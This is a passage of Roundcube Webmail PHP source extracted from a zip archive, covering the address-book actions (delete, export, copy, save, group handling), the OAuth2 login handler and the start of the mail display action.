        // send response
        $rcmail->output->send();
    }
}
PK
h�\�5#program/actions/contacts/delete.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Delete the submitted contacts (CIDs) from the users address book    |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_contacts_delete extends rcmail_action_contacts_index
{
    // only process ajax requests
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();
        $cids   = self::get_cids(null, rcube_utils::INPUT_POST);
        $delcnt = 0;

        // remove previous deletes
        $undo_time = $rcmail->config->get('undo_timeout', 0);
        $rcmail->session->remove('contact_undo');

        foreach ($cids as $source => $cid) {
            $CONTACTS = self::contact_source($source);

            if ($CONTACTS->readonly && empty($CONTACTS->deletable)) {
                // more sources? do nothing, probably we have search results from
                // more than one source, some of these sources can be readonly
                if (count($cids) == 1) {
                    $rcmail->output->show_message('contactdelerror', 'error');
                    $rcmail->output->command('list_contacts');
                    $rcmail->output->send();
                }
                continue;
            }

            $plugin = $rcmail->plugins->exec_hook('contact_delete', [
                    'id'     => $cid,
                    'source' => $source
            ]);

            $deleted = !$plugin['abort'] ? $CONTACTS->delete($cid, $undo_time < 1) : $plugin['result'];

            if (!$deleted) {
                if (!empty($plugin['message'])) {
                    $error = $plugin['message'];
                }
                else if (($error = $CONTACTS->get_error()) && !empty($error['message'])) {
                    $error = $error['message'];
                }
                else {
                    $error = 'contactdelerror';
                }

                $source = rcube_utils::get_input_string('_source', rcube_utils::INPUT_GP);
                $group  = rcube_utils::get_input_string('_gid', rcube_utils::INPUT_GP);

                $rcmail->output->show_message($error, 'error');
                $rcmail->output->command('list_contacts', $source, $group);
                $rcmail->output->send();
            }
            else {
                $delcnt += $deleted;

                // store deleted contacts IDs in session for undo action
                if ($undo_time > 0 && $CONTACTS->undelete) {
                    $_SESSION['contact_undo']['data'][$source] = $cid;
                }
            }
        }

        if (!empty($_SESSION['contact_undo'])) {
            $_SESSION['contact_undo']['ts'] = time();
            $msg = html::span(null, $rcmail->gettext('contactdeleted'))
                . ' ' . html::a(
                    ['onclick' => rcmail_output::JS_OBJECT_NAME.".command('undo', '', this)"],
                    $rcmail->gettext('undo')
                );

            $rcmail->output->show_message($msg, 'confirmation', null, true, $undo_time);
        }
        else {
            $rcmail->output->show_message('contactdeleted', 'confirmation');
        }

        $page_size = $rcmail->config->get('addressbook_pagesize', $rcmail->config->get('pagesize', 50));
        $page      = $_SESSION['page'] ?? 1;

        // update saved search after data changed
        if (($records = self::search_update(true)) !== false) {
            // create resultset object
            $count  = count($records);
            $first  = ($page-1) * $page_size;
            $result = new rcube_result_set($count, $first);
            $pages  = ceil((count($records) + $delcnt) / $page_size);

            // last page and it's empty, display previous one
            if ($result->count && $result->count <= ($page_size * ($page - 1))) {
                $rcmail->output->command('list_page', 'prev');
                $rowcount = $rcmail->gettext('loading');
            }
            // get records from the next page to add to the list
            else if ($pages > 1 && $page < $pages) {
                // sort the records
                ksort($records, SORT_LOCALE_STRING);

                $first += $page_size;
                // create resultset object
                $res = new rcube_result_set($count, $first - $delcnt);

                if ($page_size < $count) {
                    $records = array_slice($records, $first - $delcnt, $delcnt);
                }

                $res->records = array_values($records);
                $records = $res;
            }
            else {
                unset($records);
            }
        }
        else if (isset($CONTACTS)) {
            // count contacts for this user
            $result = $CONTACTS->count();
            $pages  = ceil(($result->count + $delcnt) / $page_size);

            // last page and it's empty, display previous one
            if ($result->count && $result->count <= ($page_size * ($page - 1))) {
                $rcmail->output->command('list_page', 'prev');
                $rowcount = $rcmail->gettext('loading');
            }
            // get records from the next page to add to the list
            else if ($pages > 1 && $page < $pages) {
                $CONTACTS->set_page($page);
                $records = $CONTACTS->list_records(null, -$delcnt);
            }
        }

        if (!isset($rowcount)) {
            $rowcount = isset($result) ? self::get_rowcount_text($result) : '';
        }

        // update message count display
        $rcmail->output->set_env('pagecount', isset($result) ? ceil($result->count / $page_size) : 0);
        $rcmail->output->command('set_rowcount', $rowcount);

        // add new rows from next page (if any)
        if (!empty($records)) {
            self::js_contacts_list($records);
        }

        // send response
        $rcmail->output->send();
    }
}
PK
h�\_��22#program/actions/contacts/export.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Export the selected address book as vCard file                      |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <machniak@kolabsys.com>                   |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_contacts_export extends rcmail_action_contacts_index
{
    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        $rcmail->request_security_check(rcube_utils::INPUT_GET);

        $sort_col = $rcmail->config->get('addressbook_sort_col', 'name');

        // Use search result
        if (!empty($_REQUEST['_search']) && isset($_SESSION['contact_search'][$_REQUEST['_search']])) {
            $search  = (array) $_SESSION['contact_search'][$_REQUEST['_search']];
            $records = [];

            // Get records from all sources
            foreach ($search as $s => $set) {
                $source = $rcmail->get_address_book($s);

                // reset page
                $source->set_page(1);
                $source->set_pagesize(99999);
                $source->set_search_set($set);

                // get records
                $result = $source->list_records();

                while ($record = $result->next()) {
                    // because vcard_map is per-source we need to create vcard here
                    self::prepare_for_export($record, $source);

                    $record['sourceid'] = $s;
                    $key = rcube_addressbook::compose_contact_key($record, $sort_col);
                    $records[$key] = $record;
                }

                unset($result);
            }

            // sort the records
            ksort($records, SORT_LOCALE_STRING);

            // create resultset object
            $count  = count($records);
            $result = new rcube_result_set($count);
            $result->records = array_values($records);
        }
        // selected contacts
        else if (!empty($_REQUEST['_cid'])) {
            $records = [];

            // Selected contact IDs (with multi-source support)
            $cids = self::get_cids();

            foreach ($cids as $s => $ids) {
                $source = $rcmail->get_address_book($s);

                // reset page and page size (#6103)
                $source->set_page(1);
                $source->set_pagesize(count($ids));

                $result = $source->search('ID', $ids, 1, true, true);

                while ($record = $result->next()) {
                    // because vcard_map is per-source we need to create vcard here
                    self::prepare_for_export($record, $source);

                    $record['sourceid'] = $s;
                    $key = rcube_addressbook::compose_contact_key($record, $sort_col);
                    $records[$key] = $record;
                }
            }

            ksort($records, SORT_LOCALE_STRING);

            // create resultset object
            $count  = count($records);
            $result = new rcube_result_set($count);
            $result->records = array_values($records);
        }
        // selected directory/group
        else {
            $CONTACTS = self::contact_source(null, true);

            // get contacts for this user
            $CONTACTS->set_page(1);
            $CONTACTS->set_pagesize(99999);
            $result = $CONTACTS->list_records(null, 0, true);
        }

        // Give plugins a possibility to implement other output formats or modify the result
        $plugin = $rcmail->plugins->exec_hook('addressbook_export', ['result' => $result]);
        $result = $plugin['result'];

        if ($plugin['abort']) {
            $rcmail->output->sendExit();
        }

        // send download headers
        $rcmail->output->header('Content-Type: text/vcard; charset=' . RCUBE_CHARSET);
        $rcmail->output->header('Content-Disposition: attachment; filename="contacts.vcf"');

        while ($result && ($row = $result->next())) {
            if (!empty($CONTACTS)) {
                self::prepare_for_export($row, $CONTACTS);
            }

            // fix folding and end-of-line chars
            $row['vcard'] = preg_replace('/\r|\n\s+/', '', $row['vcard']);
            $row['vcard'] = preg_replace('/\n/', rcube_vcard::$eol, $row['vcard']);

            echo rcube_vcard::rfc2425_fold($row['vcard']) . rcube_vcard::$eol;
        }

        $rcmail->output->sendExit();
    }

    /**
     * Copy contact record properties into a vcard object
     */
    public static function prepare_for_export(&$record, $source = null)
    {
        $groups   = $source && $source->groups && $source->export_groups ? $source->get_record_groups($record['ID']) : null;
        $fieldmap = $source ? $source->vcard_map : null;

        if (empty($record['vcard'])) {
            $vcard = new rcube_vcard(null, RCUBE_CHARSET, false, $fieldmap);
            $vcard->reset();

            foreach ($record as $key => $values) {
                list($field, $section) = rcube_utils::explode(':', $key);
                // avoid unwanted casting of DateTime objects to an array
                // (same as in rcube_contacts::convert_save_data())
                if (is_object($values) && is_a($values, 'DateTime')) {
                    $values = [$values];
                }

                foreach ((array) $values as $value) {
                    if (is_array($value) || is_a($value, 'DateTime') || @strlen($value)) {
                        $vcard->set($field, $value, $section ? strtoupper($section) : '');
                    }
                }
            }

            // append group names
            if ($groups) {
                $vcard->set('groups', join(',', $groups), null);
            }

            $record['vcard'] = $vcard->export();
        }
        // patch categories to already existing vcard block
        else {
            $vcard = new rcube_vcard($record['vcard'], RCUBE_CHARSET, false, $fieldmap);

            // unset CATEGORIES entry, it might be not up-to-date (#1490277)
            $vcard->set('groups', null);
            $record['vcard'] = $vcard->export();

            if (!empty($groups)) {
                $vgroups = 'CATEGORIES:' . rcube_vcard::vcard_quote($groups, ',') . rcube_vcard::$eol;
                $record['vcard'] = str_replace('END:VCARD', $vgroups . 'END:VCARD', $record['vcard']);
            }
        }
    }
}
PK
h�\>dm���!program/actions/contacts/copy.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Copy a contact record from one directory to another                 |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_contacts_copy extends rcmail_action_contacts_index
{
    // only process ajax requests
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        $cids         = self::get_cids();
        $target       = rcube_utils::get_input_string('_to', rcube_utils::INPUT_POST);
        $target_group = rcube_utils::get_input_string('_togid', rcube_utils::INPUT_POST);

        $success  = 0;
        $errormsg = 'copyerror';
        $maxnum   = $rcmail->config->get('max_group_members', 0);

        foreach ($cids as $source => $cid) {
            // Something wrong, target not specified
            if (!strlen($target)) {
                break;
            }

            // It might happen when copying records from search result
            // Do nothing, go to next source
            if ((string) $target == (string) $source) {
                continue;
            }

            $CONTACTS = $rcmail->get_address_book($source);
            $TARGET   = $rcmail->get_address_book($target);

            if (!$TARGET || !$TARGET->ready || $TARGET->readonly) {
                break;
            }

            $ids = [];

            foreach ($cid as $cid) {
                $a_record = $CONTACTS->get_record($cid, true);

                // avoid copying groups
                if (isset($a_record['_type']) && $a_record['_type'] == 'group') {
                    continue;
                }

                // Check if contact exists, if so, we'll need it's ID
                // Note: Some addressbooks allows empty email address field
                // @TODO: should we check all email addresses?
                $email = $CONTACTS->get_col_values('email', $a_record, true);
                if (!empty($email)) {
                    $result = $TARGET->search('email', $email[0], 1, true, true);
                }
                else if (!empty($a_record['name'])) {
                    $result = $TARGET->search('name', $a_record['name'], 1, true, true);
                }
                else {
                    $result = new rcube_result_set();
                }

                // insert contact record
                if (!$result->count) {
                    $plugin = $rcmail->plugins->exec_hook('contact_create', [
                            'record' => $a_record,
                            'source' => $target,
                            'group'  => $target_group
                    ]);

                    if (!$plugin['abort']) {
                        if ($insert_id = $TARGET->insert($plugin['record'], false)) {
                            $ids[] = $insert_id;
                            $success++;
                        }
                    }
                    else if ($plugin['result']) {
                        $ids = array_merge($ids, $plugin['result']);
                        $success++;
                    }
                }
                else {
                    $record   = $result->first();
                    $ids[]    = $record['ID'];
                    $errormsg = empty($email) ? 'contactnameexists' : 'contactexists';
                }
            }

            // assign to group
            if ($target_group && $TARGET->groups && !empty($ids)) {
                $plugin = $rcmail->plugins->exec_hook('group_addmembers', [
                        'group_id' => $target_group,
                        'ids'      => $ids,
                        'source'  => $target
                ]);

                if (!$plugin['abort']) {
                    $TARGET->reset();
                    $TARGET->set_group($target_group);

                    if ($maxnum && ($TARGET->count()->count + count($plugin['ids']) > $maxnum)) {
                        $rcmail->output->show_message('maxgroupmembersreached', 'warning', ['max' => $maxnum]);
                        $rcmail->output->send();
                    }

                    if (($cnt = $TARGET->add_to_group($target_group, $plugin['ids'])) && $cnt > $success) {
                        $success = $cnt;
                    }
                }
                else if (!empty($plugin['result'])) {
                    $success = $plugin['result'];
                }

                $errormsg = !empty($plugin['message']) ? $plugin['message'] : 'copyerror';
            }
        }

        if (!$success) {
            $rcmail->output->show_message($errormsg, 'error');
        }
        else {
            $rcmail->output->show_message('copysuccess', 'confirmation', ['nr' => $success]);
        }

        // send response
        $rcmail->output->send();
    }
}
PK
h�\��Z\�
�
-program/actions/contacts/group_delmembers.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Removing members from a contact group                               |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_contacts_group_delmembers extends rcmail_action_contacts_index
{
    // only process ajax requests
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail   = rcmail::get_instance();
        $source   = rcube_utils::get_input_string('_source', rcube_utils::INPUT_GPC);
        $contacts = self::contact_source($source);

        if ($contacts->readonly || !$contacts->groups) {
            $rcmail->output->show_message('sourceisreadonly', 'warning');
            $rcmail->output->send();
        }

        $gid = rcube_utils::get_input_string('_gid', rcube_utils::INPUT_POST);
        $ids = self::get_cids($source);

        if ($gid && $ids) {
            $plugin = $rcmail->plugins->exec_hook('group_delmembers', [
                    'group_id' => $gid,
                    'ids'      => $ids,
                    'source'   => $source,
            ]);

            if (empty($plugin['abort'])) {
                $result = $contacts->remove_from_group($gid, $plugin['ids']);
            }
            else {
                $result = $plugin['result'];
            }
        }

        if (!empty($result)) {
            $rcmail->output->show_message('contactremovedfromgroup', 'confirmation');
            $rcmail->output->command('remove_group_contacts', ['source' => $source, 'gid' => $gid]);
        }
        else {
            $error = !empty($plugin['message']) ? $plugin['message'] : 'errorsaving';
            $rcmail->output->show_message($error, 'error');
        }

        // send response
        $rcmail->output->send();
    }
}
PK
h�\3>)�2�2!program/actions/contacts/save.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Save a contact entry or to add a new one                            |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_contacts_save extends rcmail_action_contacts_index
{
    protected static $mode = self::MODE_HTTP;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail        = rcmail::get_instance();
        $contacts      = self::contact_source(null, true);
        $cid           = rcube_utils::get_input_string('_cid', rcube_utils::INPUT_POST);
        $source        = rcube_utils::get_input_string('_source', rcube_utils::INPUT_GPC);
        $return_action = empty($cid) ? 'add' : 'edit';

        // Source changed, display the form again
        if (!empty($_GET['_reload'])) {
            $rcmail->overwrite_action($return_action);
            return;
        }

        // cannot edit record
        if (!$contacts || $contacts->readonly) {
            $rcmail->output->show_message('contactreadonly', 'error');
            $rcmail->overwrite_action($return_action);
            return;
        }

        // read POST values into hash array
        $a_record = self::process_input();

        // do input checks (delegated to $contacts instance)
        if (!$contacts->validate($a_record)) {
            $err = (array) $contacts->get_error();
            $rcmail->output->show_message(!empty($err['message']) ? rcube::Q($err['message']) : 'formincomplete', 'warning');
            $rcmail->overwrite_action($return_action, ['contact' => $a_record]);
            return;
        }

        // get raw photo data if changed
        if (isset($a_record['photo'])) {
            if ($a_record['photo'] == '-del-') {
                $a_record['photo'] = '';
            }
            else if (!empty($_SESSION['contacts']['files'][$a_record['photo']])) {
                $tempfile = $_SESSION['contacts']['files'][$a_record['photo']];
                $tempfile = $rcmail->plugins->exec_hook('attachment_get', $tempfile);
                if ($tempfile['status']) {
                    $a_record['photo'] = $tempfile['data'] ?: @file_get_contents($tempfile['path']);
                }
            }
            else {
                unset($a_record['photo']);
            }

            // cleanup session data
            $rcmail->plugins->exec_hook('attachments_cleanup', ['group' => 'contact']);
            $rcmail->session->remove('contacts');
        }

        // update an existing contact
        if (!empty($cid)) {
            $plugin = $rcmail->plugins->exec_hook('contact_update', [
                    'id'     => $cid,
                    'record' => $a_record,
                    'source' => $source
            ]);

            $a_record = $plugin['record'];

            if (!$plugin['abort']) {
                $result = $contacts->update($cid, $a_record);
            }
            else {
                $result = $plugin['result'];
            }

            if ($result) {
                // show confirmation
                $rcmail->output->show_message('successfullysaved', 'confirmation', null, false);

                // in search mode, just reload the list (#1490015)
                if (!empty($_REQUEST['_search'])) {
                    $rcmail->output->command('parent.command', 'list');
                    $rcmail->output->send('iframe');
                }

                $newcid = null;

                // LDAP DN change
                if (is_string($result) && strlen($result) > 1) {
                    $newcid = $result;
                    // change cid in POST for 'show' action
                    $_POST['_cid'] = $newcid;
                }

                // refresh contact data for list update and 'show' action
                $contact = $contacts->get_record($newcid ?: $cid, true);

                // Plugins can decide to remove the contact on edit, e.g. automatic_addressbook
                // Best we can do is to refresh the list (#5522)
                if (empty($contact)) {
                    $rcmail->output->command('parent.command', 'list');
                    $rcmail->output->send('iframe');
                }

                // Update contacts list
                $a_js_cols = [];
                $record    = $contact;
                $record['email'] = array_first($contacts->get_col_values('email', $record, true));
                $record['name']  = rcube_addressbook::compose_list_name($record);

                foreach (['name'] as $col) {
                    $a_js_cols[] = rcube::Q((string) $record[$col]);
                }

                // performance: unset some big data items we don't need here
                $record = array_intersect_key($record, ['ID' => 1,'email' => 1,'name' => 1]);
                $record['_type'] = 'person';

                // update the changed col in list
                $rcmail->output->command('parent.update_contact_row', $cid, $a_js_cols, $newcid, $source, $record);

                $rcmail->overwrite_action('show', ['contact' => $contact]);
            }
            else {
                // show error message
                $error = self::error_str($contacts, $plugin);

                $rcmail->output->show_message($error, 'error', null, false);
                $rcmail->overwrite_action('show');
            }
        }
        // insert a new contact
        else {
            // Name of the addressbook already selected on the list
            $orig_source = rcube_utils::get_input_string('_orig_source', rcube_utils::INPUT_GPC);

            if (!strlen($source)) {
                $source = $orig_source;
            }

            // show notice if existing contacts with same e-mail are found
            foreach ($contacts->get_col_values('email', $a_record, true) as $email) {
                if ($email && ($res = $contacts->search('email', $email, 1, false, true)) && $res->count) {
                    $rcmail->output->show_message('contactexists', 'notice', null, false);
                    break;
                }
            }

            $plugin = $rcmail->plugins->exec_hook('contact_create', [
                    'record' => $a_record,
                    'source' => $source
            ]);

            $a_record = $plugin['record'];

            // insert record and send response
            if (!$plugin['abort']) {
                $insert_id = $contacts->insert($a_record);
            }
            else {
                $insert_id = $plugin['result'];
            }

            if ($insert_id) {
                $contacts->reset();

                // add new contact to the specified group
                if ($contacts->groups && $contacts->group_id) {
                    $plugin = $rcmail->plugins->exec_hook('group_addmembers', [
                            'group_id' => $contacts->group_id,
                            'ids'      => $insert_id,
                            'source'   => $source
                    ]);

                    if (!$plugin['abort']) {
                        if (($maxnum = $rcmail->config->get('max_group_members', 0)) && ($contacts->count()->count + 1 > $maxnum)) {
                            // @FIXME: should we remove the contact?
                            $msgtext = $rcmail->gettext(['name' => 'maxgroupmembersreached', 'vars' => ['max' => $maxnum]]);
                            $rcmail->output->command('parent.display_message', $msgtext, 'warning');
                        }
                        else {
                            $contacts->add_to_group($plugin['group_id'], $plugin['ids']);
                        }
                    }
                }

                // show confirmation
                $rcmail->output->show_message('successfullysaved', 'confirmation', null, false);

                $rcmail->output->command('parent.set_rowcount', $rcmail->gettext('loading'));
                $rcmail->output->command('parent.list_contacts');

                $rcmail->output->send('iframe');
            }
            else {
                // show error message
                $error = self::error_str($contacts, $plugin);
                $rcmail->output->show_message($error, 'error', null, false);
                $rcmail->overwrite_action('add');
            }
        }
    }

    public static function process_input()
    {
        $record = [];

        foreach (rcmail_action_contacts_index::$CONTACT_COLTYPES as $col => $colprop) {
            if (!empty($colprop['composite'])) {
                continue;
            }

            $fname = '_' . $col;

            // gather form data of composite fields
            if (!empty($colprop['childs'])) {
                $values = [];
                foreach ($colprop['childs'] as $childcol => $cp) {
                    $vals = rcube_utils::get_input_value('_' . $childcol, rcube_utils::INPUT_POST, true);
                    foreach ((array) $vals as $i => $val) {
                        $values[$i][$childcol] = $val;
                    }
                }

                if (isset($_REQUEST['_subtype_' . $col])) {
                    $subtypes = (array) rcube_utils::get_input_value('_subtype_' . $col, rcube_utils::INPUT_POST);
                }
                else {
                    $subtypes = [''];
                }

                foreach ($subtypes as $i => $subtype) {
                    $suffix = $subtype ? ":$subtype" : '';
                    if ($values[$i]) {
                        $record[$col . $suffix][] = $values[$i];
                    }
                }
            }
            // assign values and subtypes
            else if (isset($_POST[$fname]) && is_array($_POST[$fname])) {
                $values   = rcube_utils::get_input_value($fname, rcube_utils::INPUT_POST, true);
                $subtypes = rcube_utils::get_input_value('_subtype_' . $col, rcube_utils::INPUT_POST);

                foreach ($values as $i => $val) {
                    if ($col == 'email') {
                        // extract email from full address specification, e.g. "Name" <addr@domain.tld>
                        $addr = rcube_mime::decode_address_list($val, 1, false);
                        if (!empty($addr) && ($addr = array_pop($addr)) && $addr['mailto']) {
                            $val = $addr['mailto'];
                        }
                    }

                    $subtype = $subtypes[$i] ? ':'.$subtypes[$i] : '';
                    $record[$col.$subtype][] = $val;
                }
            }
            else if (isset($_POST[$fname])) {
                $record[$col] = rcube_utils::get_input_value($fname, rcube_utils::INPUT_POST, true);

                // normalize the submitted date strings
                if ($colprop['type'] == 'date') {
                    if ($record[$col] && ($dt = rcube_utils::anytodatetime($record[$col]))) {
                        $record[$col] = $dt->format('Y-m-d');
                    }
                    else {
                        unset($record[$col]);
                    }
                }
            }
        }

        // Generate contact's display name (must be before validation)
        if (empty($record['name'])) {
            $record['name'] = rcube_addressbook::compose_display_name($record, true);

            // Reset it if equals to email address (from compose_display_name())
            $email = rcube_addressbook::get_col_values('email', $record, true);
            if (isset($email[0]) && $record['name'] == $email[0]) {
                $record['name'] = '';
            }
        }

        return $record;
    }

    public static function error_str($contacts, $plugin)
    {
        if (!empty($plugin['message'])) {
            return $plugin['message'];
        }

        $err = $contacts->get_error();

        if (!empty($err['message'])) {
            return $err['message'];
        }

        return 'errorsaving';
    }
}
PK
h�\fpU�
�
)program/actions/contacts/group_create.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   A handler for contact groups creation                               |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_contacts_group_create extends rcmail_action_contacts_index
{
    // only process ajax requests
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail   = rcmail::get_instance();
        $source   = rcube_utils::get_input_string('_source', rcube_utils::INPUT_GPC);
        $contacts = self::contact_source($source);

        if ($contacts->readonly || !$contacts->groups) {
            $rcmail->output->show_message('sourceisreadonly', 'warning');
            $rcmail->output->send();
        }

        if ($name = trim(rcube_utils::get_input_string('_name', rcube_utils::INPUT_POST, true))) {
            $plugin = $rcmail->plugins->exec_hook('group_create', [
                    'name'   => $name,
                    'source' => $source,
            ]);

            if (empty($plugin['abort'])) {
                $created = $contacts->create_group($plugin['name']);
            }
            else {
                $created = $plugin['result'];
            }
        }

        if (!empty($created)) {
            $rcmail->output->show_message('groupcreated', 'confirmation');
            $rcmail->output->command('insert_contact_group', ['source' => $source] + $created);
        }
        else if (empty($created)) {
            $error = !empty($plugin['message']) ? $plugin['message'] : 'errorsaving';
            $rcmail->output->show_message($error, 'error');
        }

        // send response
        $rcmail->output->send();
    }
}
PK
h�\�-�kkprogram/actions/login/oauth.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Perform OAuth2 user login                                           |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_login_oauth extends rcmail_action
{
    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        $auth_code  = rcube_utils::get_input_string('code', rcube_utils::INPUT_GET);
        $auth_error = rcube_utils::get_input_string('error', rcube_utils::INPUT_GET);
        $auth_state = rcube_utils::get_input_string('state', rcube_utils::INPUT_GET);

        // auth code return from oauth login
        if (!empty($auth_code)) {
            $auth = $rcmail->oauth->request_access_token($auth_code, $auth_state);

            // oauth success
            if ($auth && isset($auth['username'], $auth['authorization'], $auth['token'])) {
                // enforce XOAUTH2 auth type
                $rcmail->config->set('imap_auth_type', 'XOAUTH2');
                $rcmail->config->set('login_password_maxlen', strlen($auth['authorization']));

                // use access_token and user info for IMAP login
                $storage_host = $rcmail->autoselect_host();
                if ($rcmail->login($auth['username'], $auth['authorization'], $storage_host, true)) {
                    // replicate post-login tasks from index.php
                    $rcmail->session->remove('temp');
                    $rcmail->session->regenerate_id(false);

                    // send auth cookie if necessary
                    $rcmail->session->set_auth_cookie();

                    // save OAuth token in session
                    $_SESSION['oauth_token'] = $auth['token'];

                    // log successful login
                    $rcmail->log_login();

                    // allow plugins to control the redirect url after login success
                    $redir = $rcmail->plugins->exec_hook('login_after', ['_task' => 'mail']);
                    unset($redir['abort'], $redir['_err']);

                    // send redirect
                    header('Location: ' . $rcmail->url($redir, true, false));
                    exit;
                }
                else {
                    $rcmail->output->show_message('loginfailed', 'warning');

                    // log failed login
                    $error_code = $rcmail->login_error();
                    $rcmail->log_login($auth['username'], true, $error_code);

                    $rcmail->plugins->exec_hook('login_failed', [
                            'code' => $error_code,
                            'host' => $storage_host,
                            'user' => $auth['username'],
                    ]);

                    $rcmail->kill_session();
                    // fall through -> login page
                }
            }
            else {
                $rcmail->output->show_message('oauthloginfailed', 'warning');
            }
        }
        // error return from oauth login
        else if (!empty($auth_error)) {
            $error_message = rcube_utils::get_input_string('error_description', rcube_utils::INPUT_GET) ?: $auth_error;
            $rcmail->output->show_message($error_message, 'warning');
        }
        // login action: redirect to `oauth_auth_uri`
        else if ($rcmail->task === 'login') {
            // this will always exit() the process
            $rcmail->oauth->login_redirect();
        }
    }
}
PK
h�\;�����program/actions/mail/show.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Display a mail message similar as a usual mail application does     |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_mail_show extends rcmail_action_mail_index
{
    protected static $MESSAGE;
    protected static $CLIENT_MIMETYPES = [];

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        self::$PRINT_MODE = $rcmail->action == 'print';

        // Read browser capabilities and store them in session
        if ($caps = rcube_utils::get_input_string('_caps', rcube_utils::INPUT_GET)) {
            $browser_caps = [];
            foreach (explode(',', $caps) as $cap) {
                $cap = explode('=', $cap);
                $browser_caps[$cap[0]] = $cap[1];
            }

            $_SESSION['browser_caps'] = $browser_caps;
        }

        $msg_id    = rcube_utils::get_input_string('_uid', rcube_utils::INPUT_GET);
        $uid       = preg_replace('/\.[0-9.]+$/', '', $msg_id);
        $mbox_name = $rcmail->storage->get_folder();

        // similar code as in program/steps/mail/get.inc
        if ($uid) {
            // set message format (need to be done before rcube_message construction)
            if (!empty($_GET['_format'])) {
                $prefer_html = $_GET['_format'] == 'html';
                $rcmail->config->set('prefer_html', $prefer_html);
                $_SESSION['msg_formats'][$mbox_name.':'.$uid] = $prefer_html;
            }
            else if (isset($_SESSION['msg_formats'][$mbox_name.':'.$uid])) {
